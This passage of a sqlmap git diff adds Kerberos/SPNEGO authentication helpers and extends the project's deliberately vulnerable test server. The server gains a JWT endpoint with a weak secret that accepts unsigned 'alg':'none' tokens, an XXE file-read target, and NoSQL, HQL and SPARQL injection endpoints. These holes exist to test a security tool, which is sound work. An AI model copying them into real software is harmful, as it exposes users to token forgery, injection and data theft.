+See the file 'LICENSE' for copying permission +""" + +# Minimal, dependency-free ASN.1 DER codec covering exactly the constructs Kerberos (RFC 4120) uses: +# INTEGER, OCTET STRING, GeneralString, GeneralizedTime, BIT STRING, SEQUENCE / SEQUENCE OF, EXPLICIT +# context tags [n] and [APPLICATION n]. All Kerberos tag numbers are <= 30, so only the low-tag-number +# form is needed. Encoders return bytes; decoders accept bytes/bytearray. Python 2.7 / 3.x. + +# universal tag bytes +INTEGER = 0x02 +BIT_STRING = 0x03 +OCTET_STRING = 0x04 +GENERAL_STRING = 0x1b +GENERALIZED_TIME = 0x18 +SEQUENCE = 0x30 # 0x10 | constructed(0x20) + +def _encodeLength(length): + if length < 0x80: + return bytearray([length]) + out = bytearray() + while length: + out.insert(0, length & 0xff) + length >>= 8 + return bytearray([0x80 | len(out)]) + out + +def _tlv(tag, value): + value = bytearray(value) + return bytes(bytearray([tag]) + _encodeLength(len(value)) + value) + +# ---- context / application tags (EXPLICIT) -------------------------------------------------------- +def contextTag(number): + return 0x80 | 0x20 | number # context-specific, constructed + +def applicationTag(number): + return 0x40 | 0x20 | number # application, constructed + +def tagged(number, innerTLV): + """EXPLICIT [n] wrapper around an already-encoded inner TLV.""" + + return _tlv(contextTag(number), innerTLV) + +def application(number, innerTLV): + """[APPLICATION n] wrapper around an already-encoded inner TLV.""" + + return _tlv(applicationTag(number), innerTLV) + +# ---- primitive encoders --------------------------------------------------------------------------- +def integer(value): + content = bytearray() + if value == 0: + content = bytearray([0]) + elif value > 0: + n = value + while n: + content.insert(0, n & 0xff) + n >>= 8 + if content[0] & 0x80: # keep the sign bit clear for a positive value + content.insert(0, 0x00) + else: + n = value + while True: + content.insert(0, n & 0xff) + n >>= 8 + if n == -1 and (content[0] & 0x80): + break + return _tlv(INTEGER, content) + +def octetString(value): + return _tlv(OCTET_STRING, value) + +def generalString(value): + return _tlv(GENERAL_STRING, value if isinstance(value, bytes) else value.encode("utf-8")) + +def generalizedTime(value): + """'value' is a 'YYYYMMDDHHMMSSZ' UTC string.""" + + return _tlv(GENERALIZED_TIME, value if isinstance(value, bytes) else value.encode("ascii")) + +def bitString(value, unusedBits=0): + return _tlv(BIT_STRING, bytearray([unusedBits]) + bytearray(value)) + +def sequence(*elements): + return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements)) + +def sequenceOf(elements): + return _tlv(SEQUENCE, b"".join(bytes(_) for _ in elements)) + +# ---- decoding ------------------------------------------------------------------------------------- +def peel(data, offset=0): + """Parse one TLV at 'offset'; return (tag, content_bytearray, next_offset). Raises ValueError on + truncated or indefinite-length input (the data may come from the network, so fail predictably).""" + + data = bytearray(data) + if offset + 2 > len(data): + raise ValueError("truncated DER header") + tag = data[offset] + first = data[offset + 1] + offset += 2 + if first < 0x80: + length = first + elif first == 0x80: + raise ValueError("indefinite-length DER is not permitted") + else: + count = first & 0x7f + if offset + count > len(data): + raise ValueError("truncated DER length") + length = 0 + for _ in range(count): + length = (length << 8) | data[offset] + offset += 1 + if offset + length > len(data): + raise ValueError("truncated DER content") + return tag, data[offset:offset + length], offset + length + +def children(content): + """Iterate the TLVs contained in a constructed value; yields (tag, content_bytearray).""" + + content = bytearray(content) + offset = 0 + out = [] + while offset < len(content): + tag, inner, offset = peel(content, offset) + out.append((tag, inner)) + return out + +def decodeInteger(content): + content = bytearray(content) + if not content: + return 0 + value = 0 + for b in content: + value = (value << 8) | b + if content[0] & 0x80: # negative (two's complement) + value -= 1 << (8 * len(content)) + return value + +def decodeGeneralString(content): + return bytes(bytearray(content)).decode("utf-8", "replace") diff --git a/extra/kerberos/discovery.py b/extra/kerberos/discovery.py new file mode 100644 index 00000000000..bed96a63769 --- /dev/null +++ b/extra/kerberos/discovery.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Dependency-free KDC discovery for a realm, so '--auth-type=Negotiate' works without an explicit +# KDC address. Resolution order: the 'SQLMAP_KERBEROS_KDC' environment variable, then the local +# krb5.conf [realms] section, then a DNS SRV lookup (_kerberos._tcp.), then the realm name +# itself as a host. Returns (host, port). Python 2.7 / 3.x. + +import os +import re +import socket +import struct + +DEFAULT_KDC_PORT = 88 +_DNS_TIMEOUT = 3 +_SRV_TYPE = 33 +_IN_CLASS = 1 + +def _splitHostPort(value, defaultPort=DEFAULT_KDC_PORT): + value = value.strip() + if value.startswith("["): # [IPv6] or [IPv6]:port + host, _, rest = value[1:].partition("]") + port = rest[1:] if rest.startswith(":") else "" + elif value.count(":") == 1: # host:port (a single colon rules out bare IPv6) + host, _, port = value.partition(":") + else: # bare host or bare IPv6 literal + host, port = value, "" + return host, (int(port) if port.isdigit() else defaultPort) + +# ---- krb5.conf -------------------------------------------------------------------------------- +def _fromKrb5Conf(realm): + path = os.environ.get("KRB5_CONFIG") or "/etc/krb5.conf" + try: + with open(path) as f: + content = f.read() + except (IOError, OSError): + return None + + # scope the search to the [realms] section itself: '[capaths]' uses the identical + # 'realm = { ... }' syntax, so a same-named capath block must not shadow the real one + section = re.search(r"(?im)^[ \t]*\[realms\][ \t]*$", content) + if not section: + return None + nextSection = re.search(r"(?m)^[ \t]*\[", content[section.end():]) + sectionEnd = section.end() + nextSection.start() if nextSection else len(content) + realms = content[section.end():sectionEnd] + + header = re.search(r"(?im)^\s*%s\s*=\s*\{" % re.escape(realm), realms) + if not header: + return None + start = header.end() # brace-match so a nested '{ }' block cannot truncate us + depth, i = 1, start + while i < len(realms) and depth > 0: + if realms[i] == "{": + depth += 1 + elif realms[i] == "}": + depth -= 1 + i += 1 + block = realms[start:i - 1] + kdc = re.search(r"(?im)^\s*kdc\s*=\s*(\S+)", block) + return kdc.group(1) if kdc else None + +# ---- DNS SRV (_kerberos._tcp.) --------------------------------------------------------- +def _nameservers(): + servers = [] + try: + with open("/etc/resolv.conf") as f: + for line in f: + parts = line.split() + if len(parts) >= 2 and parts[0] == "nameserver": + servers.append(parts[1]) + except (IOError, OSError): + pass + return servers + +def _encodeName(name): + out = bytearray() + for label in name.split("."): + out.append(len(label)) + out += label.encode("ascii") + out.append(0) + return bytes(out) + +_MAX_NAME_JUMPS = 64 # guards against compression-pointer cycles + +def _skipName(data, offset): + while True: + if offset >= len(data): + raise ValueError("truncated DNS name") + length = data[offset] + if length == 0: + return offset + 1 + if length & 0xc0 == 0xc0: # compression pointer ends the name + if offset + 2 > len(data): + raise ValueError("truncated DNS pointer") + return offset + 2 + offset += 1 + length + +def _readName(data, offset): + labels = [] + end = None + jumps = 0 + while True: + if offset >= len(data): + raise ValueError("truncated DNS name") + length = data[offset] + if length == 0: + offset += 1 + break + if length & 0xc0 == 0xc0: # follow compression pointer (bounded, cycle-safe) + if offset + 2 > len(data): + raise ValueError("truncated DNS pointer") + jumps += 1 + if jumps > _MAX_NAME_JUMPS: + raise ValueError("too many DNS compression jumps") + if end is None: + end = offset + 2 + offset = ((length & 0x3f) << 8) | data[offset + 1] + continue + if offset + 1 + length > len(data): + raise ValueError("truncated DNS label") + labels.append(bytes(data[offset + 1:offset + 1 + length]).decode("ascii", "replace")) + offset += 1 + length + return ".".join(labels), (end if end is not None else offset) + +def parseSrv(response): + """Parse SRV records from a (possibly hostile) DNS response into [(priority, weight, port, + target), ...]. Malformed input yields an empty list rather than raising.""" + + data = bytearray(response) + if len(data) < 12: + return [] + try: + qdcount, ancount = struct.unpack(">HH", bytes(data[4:8])) + offset = 12 + for _ in range(qdcount): + offset = _skipName(data, offset) + 4 # + qtype/qclass + records = [] + for _ in range(ancount): + offset = _skipName(data, offset) + if offset + 10 > len(data): + break + rtype, rclass, _ttl, rdlength = struct.unpack(">HHIH", bytes(data[offset:offset + 10])) + offset += 10 + if offset + rdlength > len(data): + break + if rtype == _SRV_TYPE and rclass == _IN_CLASS and rdlength >= 6: + priority, weight, port = struct.unpack(">HHH", bytes(data[offset:offset + 6])) + target = _readName(data, offset + 6)[0].rstrip(".") + if target: + records.append((priority, weight, port, target)) + offset += rdlength + return records + except (ValueError, struct.error, IndexError): + return [] + +def _fromDnsSrv(realm): + queryId = os.urandom(2) + query = (queryId + struct.pack(">HHHHH", 0x0100, 1, 0, 0, 0) + + _encodeName("_kerberos._tcp.%s" % realm) + struct.pack(">HH", _SRV_TYPE, _IN_CLASS)) + for server in _nameservers(): + family = socket.AF_INET6 if ":" in server else socket.AF_INET + sock = socket.socket(family, socket.SOCK_DGRAM) + sock.settimeout(_DNS_TIMEOUT) + try: + sock.connect((server, 53)) # connect() so the kernel drops replies from any other source + sock.send(query) + response = sock.recv(4096) + except socket.error: + continue + finally: + sock.close() + if len(response) < 2 or response[:2] != queryId: # ignore stray / spoofed replies + continue + records = parseSrv(response) + if records: + best = min(records, key=lambda r: (r[0], -r[1])) # lowest priority, then highest weight + return best[3], best[2] + return None + +def discoverKdc(realm): + """Resolve (host, port) of a KDC for the realm; falls back to the realm name itself as a host.""" + + override = os.environ.get("SQLMAP_KERBEROS_KDC") + if override: + return _splitHostPort(override) + + configured = _fromKrb5Conf(realm) + if configured: + return _splitHostPort(configured) + + fromDns = _fromDnsSrv(realm) + if fromDns: + return fromDns + + return realm.lower(), DEFAULT_KDC_PORT diff --git a/extra/kerberos/spnego.py b/extra/kerberos/spnego.py new file mode 100644 index 00000000000..e4285c45a80 --- /dev/null +++ b/extra/kerberos/spnego.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Minimal GSS-API / SPNEGO (RFC 2743, RFC 4178) wrapping of a Kerberos AP-REQ into the token carried +# by the HTTP "Authorization: Negotiate " header. Only the initiator's NegTokenInit is built +# (the one-shot token an HTTP client sends); the mechanism-specific OIDs are fixed constants. +# Python 2.7 / 3.x. + +from extra.kerberos import der + +# fully-encoded OBJECT IDENTIFIER TLVs +KRB5_OID = bytes(bytearray([0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02])) # 1.2.840.113554.1.2.2 +SPNEGO_OID = bytes(bytearray([0x06, 0x06, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x02])) # 1.3.6.1.5.5.2 + +TOK_ID_AP_REQ = b"\x01\x00" # GSS Kerberos token id for KRB_AP_REQ + +def gssApReq(apReq): + """GSS InitialContextToken: [APPLICATION 0] { Kerberos OID, tok-id, AP-REQ }.""" + + return der.application(0, KRB5_OID + TOK_ID_AP_REQ + apReq) + +def negTokenInit(apReq): + """SPNEGO NegTokenInit wrapping the Kerberos GSS token (Kerberos advertised as the sole mech).""" + + inner = der.sequence( + der.tagged(0, der.sequenceOf([KRB5_OID])), # mechTypes + der.tagged(2, der.octetString(gssApReq(apReq))), # mechToken + ) + return der.application(0, SPNEGO_OID + der.tagged(0, inner)) diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 300916ae369..e82f47c46d4 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,13 +12,11 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS -DIGEST_FULLPATH=${SCRIPTPATH%/*}/$DIGEST git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 @@ -37,6 +35,3 @@ then fi git add "$SETTINGS_FULLPATH" fi - -cd $PROJECT_FULLPATH && git ls-files | sort | uniq | grep -Pv '^\.|sha256' | xargs sha256sum > $DIGEST_FULLPATH && cd - -git add "$DIGEST_FULLPATH" diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh index 3cdbdf5d714..dd9ed154894 100755 --- a/extra/shutils/pypi.sh +++ b/extra/shutils/pypi.sh @@ -63,6 +63,10 @@ setup( }, ) EOF +cat > "$TMP_DIR/setup.cfg" << "EOF" +[bdist_wheel] +universal = 1 +EOF wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip unzip sqlmap.zip rm sqlmap.zip diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 769108f928d..b348a1c9352 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -10,20 +10,63 @@ from __future__ import print_function import base64 +import hashlib +import hmac import json +import os import random import re import sqlite3 import string import sys +import tempfile import threading +import time import traceback PY3 = sys.version_info >= (3, 0) UNICODE_ENCODING = "utf-8" DEBUG = False +# A benign file with random content/name that the XXE endpoint can disclose via a file:// +# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a +# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a +# blacklistable signature. In-process server, so callers read these same values. +XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)) +XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12))) +try: + with open(XXE_READ_FILE, "w") as _f: + _f.write(XXE_READ_MARKER + "\n") +except (IOError, OSError): + pass + +# Self-contained JSON Web Token forge/parse for the '/jwt' endpoint, so '--jwt' has a live target in the +# vuln-test. The signing secret is a common one (crackable from the shipped wordlist), the endpoint accepts +# unsigned 'alg':'none' tokens (VULN) and reflects 'kid' into a SQL error (injectable key lookup). +JWT_SECRET = "secret" + +def _jwt_b64url(data): + return base64.urlsafe_b64encode(data).rstrip(b'=').decode() + +def _jwt_forge(header, payload, secret): + seg = lambda obj: _jwt_b64url(json.dumps(obj, separators=(',', ':')).encode(UNICODE_ENCODING)) + signingInput = "%s.%s" % (seg(header), seg(payload)) + signature = _jwt_b64url(hmac.new(secret.encode(UNICODE_ENCODING), signingInput.encode(UNICODE_ENCODING), hashlib.sha256).digest()) + return "%s.%s" % (signingInput, signature) + +def _jwt_parse(token): + try: + header, payload, signature = token.split('.') + pad = lambda value: value + '=' * (-len(value) % 4) + return json.loads(base64.urlsafe_b64decode(pad(header))), json.loads(base64.urlsafe_b64decode(pad(payload))), signature + except Exception: + return None + +JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET) + if PY3: + from http.client import BAD_REQUEST + from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK @@ -35,6 +78,8 @@ else: from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer + from httplib import BAD_REQUEST + from httplib import FORBIDDEN from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK @@ -115,17 +160,551 @@ INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1'); INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d'); INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e'); + + CREATE TABLE directory ( + dn TEXT, + uid TEXT, + cn TEXT, + sn TEXT, + givenName TEXT, + displayName TEXT, + userPassword TEXT, + mail TEXT, + objectClass TEXT, + objectCategory TEXT, + ou TEXT, + title TEXT, + department TEXT, + company TEXT, + o TEXT, + telephoneNumber TEXT, + mobile TEXT, + manager TEXT, + description TEXT, + l TEXT, + st TEXT, + street TEXT, + postalCode TEXT, + c TEXT, + employeeNumber TEXT, + employeeType TEXT, + member TEXT + ); + -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail, + -- objectClass, objectCategory, ou, title, department, company, o, + -- telephoneNumber, mobile, manager, description, l, st, street, + -- postalCode, c, employeeNumber, employeeType, member + INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', 'luther@example.com', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL); + INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', 'fluffy@example.com', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', 'wu@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', 'mark@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', 'ada@example.com', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', 'grace@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', 'alan@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', 'margaret@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', 'donald@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', 'tim@example.com', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', 'linus@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', 'ken@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', 'dennis@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', 'barbara@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', 'edsger@example.com', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com'); + INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com'); """ LISTEN_ADDRESS = "localhost" LISTEN_PORT = 8440 +# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The +# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match. +NOSQL_USERS = { + "luther": "s3cr3t", + "fluffy": "carrot", + "wu": "shanghai", +} + +def nosql_match(params): + """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password' + field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against + the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error).""" + + record = NOSQL_USERS.get(params.get("name")) + + spec = params.get("password") + if isinstance(spec, dict): + op, value = next(iter(spec.items()), ("$eq", None)) + else: + op, value = "$eq", spec + for key in params: + match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key) + if match: + op, value = match.group(1), params[key] + break + + if isinstance(value, (tuple, list)): + value = value[-1] if value else None + + if record is None: + return False + elif op == "$ne": + return record != value + elif op == "$gt": + return record > (value or "") + elif op == "$regex": + return re.search(value, record) is not None + else: # $eq, $in (single-valued here) and any literal equality + return record == value + +# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) ------------------- +# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator +# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path +# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped +# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects +# the parser diagnostic, so it also exercises the error-based entity-leak path. + +HQL_ENTITY = "org.vulnserver.model.Users" +HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"} + + +class _HqlError(Exception): + pass + + +def _hql_short(name): + return re.split(r"[.$]", name)[-1] + + +def _hql_no_row(atom): + """True when a row-walk bound "_h2. > " excludes the only record, so the + scalar sub-query resolves to NULL and its comparison is false.""" + + match = re.search(r"_h2\.\w+>(\d+)", atom) + return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1)) + + +def _hql_atom(atom): + atom = atom.strip() + + match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1' + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^(\d+)\s*=\s*(\d+)$", atom) # numeric literal 1=1 / 1=2 + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' + if match: + return HQL_RECORD["name"] == match.group(1) + + match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute + if match: + if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY): + raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1)) + return True + + match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence + if match: + attr = match.group(1) + if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return True + + match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length + if match: + attr, n = match.group(1), int(match.group(2)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): # row-walk cursor advanced past the only record + return False + return len(HQL_RECORD[attr]) >= n + + match = re.match(r"^\(SELECT LOCATE\(SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\),'([^']*)'\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar char (LOCATE index) + if match: + attr, pos, literal, n = match.group(1), int(match.group(2)), match.group(3), int(match.group(4)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): + return False + value = HQL_RECORD[attr] + index = (literal.find(value[pos - 1]) + 1) if pos <= len(value) else 0 # 1-based, 0 if absent + return index >= n + + match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) + if match: + attr = match.group(1) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return HQL_RECORD[attr] is not None + + raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24]) + + +def hql_evaluate(value): + """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError.""" + + clause = "name = '%s'" % value + return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) + +# --- SPARQL endpoint (vulnerable name search over a tiny in-memory triple store) ------------------ + +class _SparqlError(Exception): + pass + +# (subject, predicate, object) triples of the default graph. Objects are what a blind dump recovers. +SPARQL_TRIPLES = ( + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/name", "luther"), + ("http://example.org/p1", "http://xmlns.com/foaf/0.1/mbox", "luther@example.org"), + ("http://example.org/secret", "http://example.org/flag", "S3CR3Tvalue"), +) +_SPARQL_PREDICATES = sorted(set(_[1] for _ in SPARQL_TRIPLES)) +_SPARQL_OBJECTS = sorted(_[2] for _ in SPARQL_TRIPLES) + + +def _sparql_bind(inner, offset): + """The string/integer a sub-pattern binds to ?v, or None when the OFFSET is past the end.""" + + if "COUNT(*)" in inner: + return len(SPARQL_TRIPLES) + if "COUNT(DISTINCT ?p)" in inner: 